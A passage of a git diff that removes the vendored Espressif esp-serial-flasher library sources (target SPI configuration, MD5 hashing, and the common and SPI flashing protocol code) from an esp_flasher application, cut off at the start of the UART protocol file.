(target_registers_t *)&esp_target[chip]; - return ESP_LOADER_SUCCESS; - } - } - } - - return ESP_LOADER_ERROR_INVALID_TARGET; -} - -esp_loader_error_t loader_read_spi_config(target_chip_t target_chip, uint32_t *spi_config) -{ - const esp_target_t *target = &esp_target[target_chip]; - return target->read_spi_config(target->efuse_base, spi_config); -} - -static inline uint32_t efuse_word_addr(uint32_t efuse_base, uint32_t n) -{ - return efuse_base + (n * 4); -} - -// 30->GPIO32 | 31->GPIO33 -static inline uint8_t adjust_pin_number(uint8_t num) -{ - return (num >= 30) ? num + 2 : num; -} - - -static esp_loader_error_t spi_config_esp32(uint32_t efuse_base, uint32_t *spi_config) -{ - *spi_config = 0; - - uint32_t reg5, reg3; - RETURN_ON_ERROR( esp_loader_read_register(efuse_word_addr(efuse_base, 5), ®5) ); - RETURN_ON_ERROR( esp_loader_read_register(efuse_word_addr(efuse_base, 3), ®3) ); - - uint32_t pins = reg5 & 0xfffff; - - if (pins == 0 || pins == 0xfffff) { - return ESP_LOADER_SUCCESS; - } - - uint8_t clk = adjust_pin_number( (pins >> 0) & 0x1f ); - uint8_t q = adjust_pin_number( (pins >> 5) & 0x1f ); - uint8_t d = adjust_pin_number( (pins >> 10) & 0x1f ); - uint8_t cs = adjust_pin_number( (pins >> 15) & 0x1f ); - uint8_t hd = adjust_pin_number( (reg3 >> 4) & 0x1f ); - - if (clk == cs || clk == d || clk == q || q == cs || q == d || q == d) { - return ESP_LOADER_SUCCESS; - } - - *spi_config = (hd << 24) | (cs << 18) | (d << 12) | (q << 6) | clk; - - return ESP_LOADER_SUCCESS; -} - -// Applies for esp32s2, esp32c3 and esp32c3 -static esp_loader_error_t spi_config_esp32xx(uint32_t efuse_base, uint32_t *spi_config) -{ - *spi_config = 0; - - uint32_t reg1, reg2; - RETURN_ON_ERROR( esp_loader_read_register(efuse_word_addr(efuse_base, 18), ®1) ); - RETURN_ON_ERROR( esp_loader_read_register(efuse_word_addr(efuse_base, 19), ®2) ); - - uint32_t pins = ((reg1 >> 16) | ((reg2 & 0xfffff) << 16)) & 0x3fffffff; - - if (pins == 0 || pins == 0xffffffff) { - return ESP_LOADER_SUCCESS; - } - - *spi_config = pins; - return ESP_LOADER_SUCCESS; -} - -bool encryption_in_begin_flash_cmd(target_chip_t target) -{ - return target == ESP32_CHIP || target == ESP8266_CHIP; -} diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/src/md5_hash.c b/applications/external/esp_flasher/lib/esp-serial-flasher/src/md5_hash.c deleted file mode 100644 index 4da76bcb5..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/src/md5_hash.c +++ /dev/null @@ -1,262 +0,0 @@ -/* - * MD5 hash implementation and interface functions - * Copyright (c) 2003-2005, Jouni Malinen - * - * This software may be distributed under the terms of the BSD license. - * See README for more details. - */ - - -#include "md5_hash.h" -#include -#include - - -static void MD5Transform(uint32_t buf[4], uint32_t const in[16]); - - -/* ===== start - public domain MD5 implementation ===== */ -/* - * This code implements the MD5 message-digest algorithm. - * The algorithm is due to Ron Rivest. This code was - * written by Colin Plumb in 1993, no copyright is claimed. - * This code is in the public domain; do with it what you wish. - * - * Equivalent code is available from RSA Data Security, Inc. - * This code has been tested against that, and is equivalent, - * except that you don't need to include two pages of legalese - * with every copy. - * - * To compute the message digest of a chunk of bytes, declare an - * MD5Context structure, pass it to MD5Init, call MD5Update as - * needed on buffers full of bytes, and then call MD5Final, which - * will fill a supplied 16-byte array with the digest. - */ - -#ifndef WORDS_BIGENDIAN -#define byteReverse(buf, len) /* Nothing */ -#else -/* - * Note: this code is harmless on little-endian machines. - */ -static void byteReverse(unsigned char *buf, unsigned longs) -{ - uint32_t t; - do { - t = (uint32_t) ((unsigned) buf[3] << 8 | buf[2]) << 16 | - ((unsigned) buf[1] << 8 | buf[0]); - *(uint32_t *) buf = t; - buf += 4; - } while (--longs); -} -#endif - -/* - * Start MD5 accumulation. Set bit count to 0 and buffer to mysterious - * initialization constants. - */ -void MD5Init(struct MD5Context *ctx) -{ - ctx->buf[0] = 0x67452301; - ctx->buf[1] = 0xefcdab89; - ctx->buf[2] = 0x98badcfe; - ctx->buf[3] = 0x10325476; - - ctx->bits[0] = 0; - ctx->bits[1] = 0; -} - -/* - * Update context to reflect the concatenation of another buffer full - * of bytes. - */ -void MD5Update(struct MD5Context *ctx, unsigned char const *buf, unsigned len) -{ - uint32_t t; - - /* Update bitcount */ - - t = ctx->bits[0]; - if ((ctx->bits[0] = t + ((uint32_t) len << 3)) < t) { - ctx->bits[1]++; /* Carry from low to high */ - } - ctx->bits[1] += len >> 29; - - t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */ - - /* Handle any leading odd-sized chunks */ - - if (t) { - unsigned char *p = (unsigned char *) ctx->in + t; - - t = 64 - t; - if (len < t) { - memcpy(p, buf, len); - return; - } - memcpy(p, buf, t); - byteReverse(ctx->in, 16); - MD5Transform((uint32_t *)ctx->buf, (uint32_t *) ctx->in); - buf += t; - len -= t; - } - /* Process data in 64-byte chunks */ - - while (len >= 64) { - memcpy(ctx->in, buf, 64); - byteReverse(ctx->in, 16); - MD5Transform((uint32_t *)ctx->buf, (uint32_t *) ctx->in); - buf += 64; - len -= 64; - } - - /* Handle any remaining bytes of data. */ - - memcpy(ctx->in, buf, len); -} - -/* - * Final wrapup - pad to 64-byte boundary with the bit pattern - * 1 0* (64-bit count of bits processed, MSB-first) - */ -void MD5Final(unsigned char digest[16], struct MD5Context *ctx) -{ - unsigned count; - unsigned char *p; - - /* Compute number of bytes mod 64 */ - count = (ctx->bits[0] >> 3) & 0x3F; - - /* Set the first char of padding to 0x80. This is safe since there is - always at least one byte free */ - p = ctx->in + count; - *p++ = 0x80; - - /* Bytes of padding needed to make 64 bytes */ - count = 64 - 1 - count; - - /* Pad out to 56 mod 64 */ - if (count < 8) { - /* Two lots of padding: Pad the first block to 64 bytes */ - memset(p, 0, count); - byteReverse(ctx->in, 16); - MD5Transform((uint32_t *)ctx->buf, (uint32_t *) ctx->in); - - /* Now fill the next block with 56 bytes */ - memset(ctx->in, 0, 56); - } else { - /* Pad block to 56 bytes */ - memset(p, 0, count - 8); - } - byteReverse(ctx->in, 14); - - /* Append length in bits and transform */ - ((uint32_t *) ctx->in)[14] = ctx->bits[0]; - ((uint32_t *) ctx->in)[15] = ctx->bits[1]; - - MD5Transform((uint32_t *)ctx->buf, (uint32_t *) ctx->in); - byteReverse((unsigned char *) ctx->buf, 4); - memcpy(digest, ctx->buf, 16); - memset(ctx, 0, sizeof(struct MD5Context)); /* In case it's sensitive */ -} - -/* The four core functions - F1 is optimized somewhat */ - -/* #define F1(x, y, z) (x & y | ~x & z) */ -#define F1(x, y, z) (z ^ (x & (y ^ z))) -#define F2(x, y, z) F1(z, x, y) -#define F3(x, y, z) (x ^ y ^ z) -#define F4(x, y, z) (y ^ (x | ~z)) - -/* This is the central step in the MD5 algorithm. */ -#define MD5STEP(f, w, x, y, z, data, s) \ - ( w += f(x, y, z) + data, w = w<>(32-s), w += x ) - -/* - * The core of the MD5 algorithm, this alters an existing MD5 hash to - * reflect the addition of 16 longwords of new data. MD5Update blocks - * the data and converts bytes into longwords for this routine. - */ -static void MD5Transform(uint32_t buf[4], uint32_t const in[16]) -{ - register uint32_t a, b, c, d; - - a = buf[0]; - b = buf[1]; - c = buf[2]; - d = buf[3]; - - MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7); - MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12); - MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17); - MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22); - MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7); - MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12); - MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17); - MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22); - MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7); - MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12); - MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17); - MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22); - MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7); - MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12); - MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17); - MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22); - - MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5); - MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9); - MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14); - MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20); - MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5); - MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9); - MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14); - MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20); - MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5); - MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9); - MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14); - MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20); - MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5); - MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9); - MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14); - MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20); - - MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4); - MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11); - MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16); - MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23); - MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4); - MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11); - MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16); - MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23); - MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4); - MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11); - MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16); - MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23); - MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4); - MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11); - MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16); - MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23); - - MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6); - MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10); - MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15); - MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21); - MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6); - MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10); - MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15); - MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21); - MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6); - MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10); - MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15); - MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21); - MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6); - MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10); - MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15); - MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21); - - buf[0] += a; - buf[1] += b; - buf[2] += c; - buf[3] += d; -} -/* ===== end - public domain MD5 implementation ===== */ diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/src/protocol_common.c b/applications/external/esp_flasher/lib/esp-serial-flasher/src/protocol_common.c deleted file mode 100644 index 8d1d9dd53..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/src/protocol_common.c +++ /dev/null @@ -1,301 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#include "protocol.h" -#include "protocol_prv.h" -#include "esp_loader_io.h" -#include -#include - -#define CMD_SIZE(cmd) ( sizeof(cmd) - sizeof(command_common_t) ) - -static uint32_t s_sequence_number = 0; - -static uint8_t compute_checksum(const uint8_t *data, uint32_t size) -{ - uint8_t checksum = 0xEF; - - while (size--) { - checksum ^= *data++; - } - - return checksum; -} - -void log_loader_internal_error(error_code_t error) -{ - loader_port_debug_print("Error: "); - - switch (error) { - case INVALID_CRC: loader_port_debug_print("INVALID_CRC"); break; - case INVALID_COMMAND: loader_port_debug_print("INVALID_COMMAND"); break; - case COMMAND_FAILED: loader_port_debug_print("COMMAND_FAILED"); break; - case FLASH_WRITE_ERR: loader_port_debug_print("FLASH_WRITE_ERR"); break; - case FLASH_READ_ERR: loader_port_debug_print("FLASH_READ_ERR"); break; - case READ_LENGTH_ERR: loader_port_debug_print("READ_LENGTH_ERR"); break; - case DEFLATE_ERROR: loader_port_debug_print("DEFLATE_ERROR"); break; - default: loader_port_debug_print("UNKNOWN ERROR"); break; - } - - loader_port_debug_print("\n"); -} - - -esp_loader_error_t loader_flash_begin_cmd(uint32_t offset, - uint32_t erase_size, - uint32_t block_size, - uint32_t blocks_to_write, - bool encryption) -{ - uint32_t encryption_size = encryption ? sizeof(uint32_t) : 0; - - flash_begin_command_t flash_begin_cmd = { - .common = { - .direction = WRITE_DIRECTION, - .command = FLASH_BEGIN, - .size = CMD_SIZE(flash_begin_cmd) - encryption_size, - .checksum = 0 - }, - .erase_size = erase_size, - .packet_count = blocks_to_write, - .packet_size = block_size, - .offset = offset, - .encrypted = 0 - }; - - s_sequence_number = 0; - - return send_cmd(&flash_begin_cmd, sizeof(flash_begin_cmd) - encryption_size, NULL); -} - - -esp_loader_error_t loader_flash_data_cmd(const uint8_t *data, uint32_t size) -{ - data_command_t data_cmd = { - .common = { - .direction = WRITE_DIRECTION, - .command = FLASH_DATA, - .size = CMD_SIZE(data_cmd) + size, - .checksum = compute_checksum(data, size) - }, - .data_size = size, - .sequence_number = s_sequence_number++, - }; - - return send_cmd_with_data(&data_cmd, sizeof(data_cmd), data, size); -} - - -esp_loader_error_t loader_flash_end_cmd(bool stay_in_loader) -{ - flash_end_command_t end_cmd = { - .common = { - .direction = WRITE_DIRECTION, - .command = FLASH_END, - .size = CMD_SIZE(end_cmd), - .checksum = 0 - }, - .stay_in_loader = stay_in_loader - }; - - return send_cmd(&end_cmd, sizeof(end_cmd), NULL); -} - - -esp_loader_error_t loader_mem_begin_cmd(uint32_t offset, uint32_t size, uint32_t blocks_to_write, uint32_t block_size) -{ - - mem_begin_command_t mem_begin_cmd = { - .common = { - .direction = WRITE_DIRECTION, - .command = MEM_BEGIN, - .size = CMD_SIZE(mem_begin_cmd), - .checksum = 0 - }, - .total_size = size, - .blocks = blocks_to_write, - .block_size = block_size, - .offset = offset - }; - - s_sequence_number = 0; - - return send_cmd(&mem_begin_cmd, sizeof(mem_begin_cmd), NULL); -} - - -esp_loader_error_t loader_mem_data_cmd(const uint8_t *data, uint32_t size) -{ - data_command_t data_cmd = { - .common = { - .direction = WRITE_DIRECTION, - .command = MEM_DATA, - .size = CMD_SIZE(data_cmd) + size, - .checksum = compute_checksum(data, size) - }, - .data_size = size, - .sequence_number = s_sequence_number++, - }; - return send_cmd_with_data(&data_cmd, sizeof(data_cmd), data, size); -} - -esp_loader_error_t loader_mem_end_cmd(uint32_t entrypoint) -{ - mem_end_command_t end_cmd = { - .common = { - .direction = WRITE_DIRECTION, - .command = MEM_END, - .size = CMD_SIZE(end_cmd), - }, - .stay_in_loader = (entrypoint == 0), - .entry_point_address = entrypoint - }; - - return send_cmd(&end_cmd, sizeof(end_cmd), NULL); -} - - -esp_loader_error_t loader_sync_cmd(void) -{ - sync_command_t sync_cmd = { - .common = { - .direction = WRITE_DIRECTION, - .command = SYNC, - .size = CMD_SIZE(sync_cmd), - .checksum = 0 - }, - .sync_sequence = { - 0x07, 0x07, 0x12, 0x20, - 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, - 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, - 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, - 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, - } - }; - - return send_cmd(&sync_cmd, sizeof(sync_cmd), NULL); -} - - -esp_loader_error_t loader_write_reg_cmd(uint32_t address, uint32_t value, - uint32_t mask, uint32_t delay_us) -{ - write_reg_command_t write_cmd = { - .common = { - .direction = WRITE_DIRECTION, - .command = WRITE_REG, - .size = CMD_SIZE(write_cmd), - .checksum = 0 - }, - .address = address, - .value = value, - .mask = mask, - .delay_us = delay_us - }; - - return send_cmd(&write_cmd, sizeof(write_cmd), NULL); -} - - -esp_loader_error_t loader_read_reg_cmd(uint32_t address, uint32_t *reg) -{ - read_reg_command_t read_cmd = { - .common = { - .direction = WRITE_DIRECTION, - .command = READ_REG, - .size = CMD_SIZE(read_cmd), - .checksum = 0 - }, - .address = address, - }; - - return send_cmd(&read_cmd, sizeof(read_cmd), reg); -} - - -esp_loader_error_t loader_spi_attach_cmd(uint32_t config) -{ - spi_attach_command_t attach_cmd = { - .common = { - .direction = WRITE_DIRECTION, - .command = SPI_ATTACH, - .size = CMD_SIZE(attach_cmd), - .checksum = 0 - }, - .configuration = config, - .zero = 0 - }; - - return send_cmd(&attach_cmd, sizeof(attach_cmd), NULL); -} - -esp_loader_error_t loader_change_baudrate_cmd(uint32_t baudrate) -{ - change_baudrate_command_t baudrate_cmd = { - .common = { - .direction = WRITE_DIRECTION, - .command = CHANGE_BAUDRATE, - .size = CMD_SIZE(baudrate_cmd), - .checksum = 0 - }, - .new_baudrate = baudrate, - .old_baudrate = 0 // ESP32 ROM only - }; - - return send_cmd(&baudrate_cmd, sizeof(baudrate_cmd), NULL); -} - -esp_loader_error_t loader_md5_cmd(uint32_t address, uint32_t size, uint8_t *md5_out) -{ - spi_flash_md5_command_t md5_cmd = { - .common = { - .direction = WRITE_DIRECTION, - .command = SPI_FLASH_MD5, - .size = CMD_SIZE(md5_cmd), - .checksum = 0 - }, - .address = address, - .size = size, - .reserved_0 = 0, - .reserved_1 = 0 - }; - - return send_cmd_md5(&md5_cmd, sizeof(md5_cmd), md5_out); -} - -esp_loader_error_t loader_spi_parameters(uint32_t total_size) -{ - write_spi_command_t spi_cmd = { - .common = { - .direction = WRITE_DIRECTION, - .command = SPI_SET_PARAMS, - .size = 24, - .checksum = 0 - }, - .id = 0, - .total_size = total_size, - .block_size = 64 * 1024, - .sector_size = 4 * 1024, - .page_size = 0x100, - .status_mask = 0xFFFF, - }; - - return send_cmd(&spi_cmd, sizeof(spi_cmd), NULL); -} - -__attribute__ ((weak)) void loader_port_debug_print(const char *str) -{ - (void)(str); -} diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/src/protocol_spi.c b/applications/external/esp_flasher/lib/esp-serial-flasher/src/protocol_spi.c deleted file mode 100644 index bd04fe79f..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/src/protocol_spi.c +++ /dev/null @@ -1,312 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#include "protocol.h" -#include "protocol_prv.h" -#include "esp_loader_io.h" -#include -#include - -typedef struct __attribute__((packed)) { - uint8_t cmd; - uint8_t addr; - uint8_t dummy; -} transaction_preamble_t; - -typedef enum { - TRANS_CMD_WRBUF = 0x01, - TRANS_CMD_RDBUF = 0x02, - TRANS_CMD_WRDMA = 0x03, - TRANS_CMD_RDDMA = 0x04, - TRANS_CMD_SEG_DONE = 0x05, - TRANS_CMD_ENQPI = 0x06, - TRANS_CMD_WR_DONE = 0x07, - TRANS_CMD_CMD8 = 0x08, - TRANS_CMD_CMD9 = 0x09, - TRANS_CMD_CMDA = 0x0A, - TRANS_CMD_EXQPI = 0xDD, -} transaction_cmd_t; - -/* Slave protocol registers */ -typedef enum { - SLAVE_REGISTER_VER = 0, - SLAVE_REGISTER_RXSTA = 4, - SLAVE_REGISTER_TXSTA = 8, - SLAVE_REGISTER_CMD = 12, -} slave_register_addr_t; - -#define SLAVE_STA_TOGGLE_BIT (0x01U << 0) -#define SLAVE_STA_INIT_BIT (0x01U << 1) -#define SLAVE_STA_BUF_LENGTH_POS 2U - -typedef enum { - SLAVE_STATE_INIT = SLAVE_STA_TOGGLE_BIT | SLAVE_STA_INIT_BIT, - SLAVE_STATE_FIRST_PACKET = SLAVE_STA_INIT_BIT, -} slave_state_t; - -typedef enum { - /* Target to host */ - SLAVE_CMD_IDLE = 0xAA, - SLAVE_CMD_READY = 0xA5, - /* Host to target */ - SLAVE_CMD_REBOOT = 0xFE, - SLAVE_CMD_COMM_REINIT = 0x5A, - SLAVE_CMD_DONE = 0x55, -} slave_cmd_t; - -static uint8_t s_slave_seq_tx; -static uint8_t s_slave_seq_rx; - -static esp_loader_error_t write_slave_reg(const uint8_t *data, const uint32_t addr, - const uint8_t size); -static esp_loader_error_t read_slave_reg(uint8_t *out_data, const uint32_t addr, - const uint8_t size); -static esp_loader_error_t handle_slave_state(const uint32_t status_reg_addr, uint8_t *seq_state, - bool *slave_ready, uint32_t *buf_size); -static esp_loader_error_t check_response(command_t cmd, uint32_t *reg_value); - -esp_loader_error_t loader_initialize_conn(esp_loader_connect_args_t *connect_args) -{ - for (uint8_t trial = 0; trial < connect_args->trials; trial++) { - uint8_t slave_ready_flag; - RETURN_ON_ERROR(read_slave_reg(&slave_ready_flag, SLAVE_REGISTER_CMD, - sizeof(slave_ready_flag))); - - if (slave_ready_flag != SLAVE_CMD_IDLE) { - loader_port_debug_print("Waiting for Slave to be idle...\n"); - loader_port_delay_ms(100); - } else { - break; - } - } - - const uint8_t reg_val = SLAVE_CMD_READY; - RETURN_ON_ERROR(write_slave_reg(®_val, SLAVE_REGISTER_CMD, sizeof(reg_val))); - - for (uint8_t trial = 0; trial < connect_args->trials; trial++) { - uint8_t slave_ready_flag; - RETURN_ON_ERROR(read_slave_reg(&slave_ready_flag, SLAVE_REGISTER_CMD, - sizeof(slave_ready_flag))); - - if (slave_ready_flag != SLAVE_CMD_READY) { - loader_port_debug_print("Waiting for Slave to be ready...\n"); - loader_port_delay_ms(100); - } else { - break; - } - } - - return ESP_LOADER_SUCCESS; -} - - -esp_loader_error_t send_cmd(const void *cmd_data, uint32_t size, uint32_t *reg_value) -{ - command_t command = ((const command_common_t *)cmd_data)->command; - - uint32_t buf_size; - bool slave_ready = false; - while (!slave_ready) { - RETURN_ON_ERROR(handle_slave_state(SLAVE_REGISTER_RXSTA, &s_slave_seq_rx, &slave_ready, - &buf_size)); - } - - if (size > buf_size) { - return ESP_LOADER_ERROR_INVALID_PARAM; - } - - /* Start and write the command */ - transaction_preamble_t preamble = {.cmd = TRANS_CMD_WRDMA}; - - loader_port_spi_set_cs(0); - RETURN_ON_ERROR(loader_port_write((const uint8_t *)&preamble, sizeof(preamble), - loader_port_remaining_time())); - RETURN_ON_ERROR(loader_port_write((const uint8_t *)cmd_data, size, - loader_port_remaining_time())); - loader_port_spi_set_cs(1); - - /* Terminate the write */ - loader_port_spi_set_cs(0); - preamble.cmd = TRANS_CMD_WR_DONE; - RETURN_ON_ERROR(loader_port_write((const uint8_t *)&preamble, sizeof(preamble), - loader_port_remaining_time())); - loader_port_spi_set_cs(1); - - return check_response(command, reg_value); -} - - -esp_loader_error_t send_cmd_with_data(const void *cmd_data, size_t cmd_size, - const void *data, size_t data_size) -{ - uint32_t buf_size; - bool slave_ready = false; - while (!slave_ready) { - RETURN_ON_ERROR(handle_slave_state(SLAVE_REGISTER_RXSTA, &s_slave_seq_rx, &slave_ready, - &buf_size)); - } - - if (cmd_size + data_size > buf_size) { - return ESP_LOADER_ERROR_INVALID_PARAM; - } - - /* Start and write the command and the data */ - transaction_preamble_t preamble = {.cmd = TRANS_CMD_WRDMA}; - - loader_port_spi_set_cs(0); - RETURN_ON_ERROR(loader_port_write((const uint8_t *)&preamble, sizeof(preamble), - loader_port_remaining_time())); - RETURN_ON_ERROR(loader_port_write((const uint8_t *)cmd_data, cmd_size, - loader_port_remaining_time())); - RETURN_ON_ERROR(loader_port_write((const uint8_t *)data, data_size, - loader_port_remaining_time())); - loader_port_spi_set_cs(1); - - /* Terminate the write */ - loader_port_spi_set_cs(0); - preamble.cmd = TRANS_CMD_WR_DONE; - RETURN_ON_ERROR(loader_port_write((const uint8_t *)&preamble, sizeof(preamble), - loader_port_remaining_time())); - loader_port_spi_set_cs(1); - - command_t command = ((const command_common_t *)cmd_data)->command; - return check_response(command, NULL); -} - - -static esp_loader_error_t read_slave_reg(uint8_t *out_data, const uint32_t addr, - const uint8_t size) -{ - transaction_preamble_t preamble = { - .cmd = TRANS_CMD_RDBUF, - .addr = addr, - }; - - loader_port_spi_set_cs(0); - RETURN_ON_ERROR(loader_port_write((const uint8_t *)&preamble, sizeof(preamble), - loader_port_remaining_time())); - RETURN_ON_ERROR(loader_port_read(out_data, size, loader_port_remaining_time())); - loader_port_spi_set_cs(1); - - return ESP_LOADER_SUCCESS; -} - - -static esp_loader_error_t write_slave_reg(const uint8_t *data, const uint32_t addr, - const uint8_t size) -{ - transaction_preamble_t preamble = { - .cmd = TRANS_CMD_WRBUF, - .addr = addr, - }; - - loader_port_spi_set_cs(0); - RETURN_ON_ERROR(loader_port_write((const uint8_t *)&preamble, sizeof(preamble), - loader_port_remaining_time())); - RETURN_ON_ERROR(loader_port_write(data, size, loader_port_remaining_time())); - loader_port_spi_set_cs(1); - - return ESP_LOADER_SUCCESS; -} - - -static esp_loader_error_t handle_slave_state(const uint32_t status_reg_addr, uint8_t *seq_state, - bool *slave_ready, uint32_t *buf_size) -{ - uint32_t status_reg; - RETURN_ON_ERROR(read_slave_reg((uint8_t *)&status_reg, status_reg_addr, - sizeof(status_reg))); - const slave_state_t state = status_reg & (SLAVE_STA_TOGGLE_BIT | SLAVE_STA_INIT_BIT); - - switch(state) { - case SLAVE_STATE_INIT: { - const uint32_t initial = 0U; - RETURN_ON_ERROR(write_slave_reg((uint8_t *)&initial, status_reg_addr, sizeof(initial))); - break; - } - - case SLAVE_STATE_FIRST_PACKET: { - *seq_state = state & SLAVE_STA_TOGGLE_BIT; - *buf_size = status_reg >> SLAVE_STA_BUF_LENGTH_POS; - *slave_ready = true; - break; - } - - default: { - const uint8_t new_seq = state & SLAVE_STA_TOGGLE_BIT; - if (new_seq != *seq_state) { - *seq_state = new_seq; - *buf_size = status_reg >> SLAVE_STA_BUF_LENGTH_POS; - *slave_ready = true; - } - break; - } - } - - return ESP_LOADER_SUCCESS; -} - - -static esp_loader_error_t check_response(command_t cmd, uint32_t *reg_value) -{ - response_t resp; - - uint32_t buf_size; - bool slave_ready = false; - while (!slave_ready) { - RETURN_ON_ERROR(handle_slave_state(SLAVE_REGISTER_TXSTA, &s_slave_seq_tx, &slave_ready, - &buf_size)); - } - - if (sizeof(resp) > buf_size) { - return ESP_LOADER_ERROR_INVALID_PARAM; - } - - transaction_preamble_t preamble = { - .cmd = TRANS_CMD_RDDMA, - }; - - loader_port_spi_set_cs(0); - RETURN_ON_ERROR(loader_port_write((const uint8_t *)&preamble, sizeof(preamble), - loader_port_remaining_time())); - RETURN_ON_ERROR(loader_port_read((uint8_t *)&resp, sizeof(resp), - loader_port_remaining_time())); - loader_port_spi_set_cs(1); - - /* Terminate the read */ - loader_port_spi_set_cs(0); - preamble.cmd = TRANS_CMD_CMD8; - RETURN_ON_ERROR(loader_port_write((const uint8_t *)&preamble, sizeof(preamble), - loader_port_remaining_time())); - loader_port_spi_set_cs(1); - - common_response_t *common = (common_response_t *)&resp; - if ((common->direction != READ_DIRECTION) || (common->command != cmd)) { - return ESP_LOADER_ERROR_INVALID_RESPONSE; - } - - response_status_t *status = - (response_status_t *)((uint8_t *)&resp + sizeof(resp) - sizeof(response_status_t)); - if (status->failed) { - log_loader_internal_error(status->error); - return ESP_LOADER_ERROR_INVALID_RESPONSE; - } - - if (reg_value != NULL) { - *reg_value = common->value; - } - - return ESP_LOADER_SUCCESS; -} diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/src/protocol_uart.c b/applications/external/esp_flasher/lib/esp-serial-flasher/src/protocol_uart.c deleted file mode 100644 index c5a51cec6..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/src/protocol_uart.c +++ /dev/null @@ 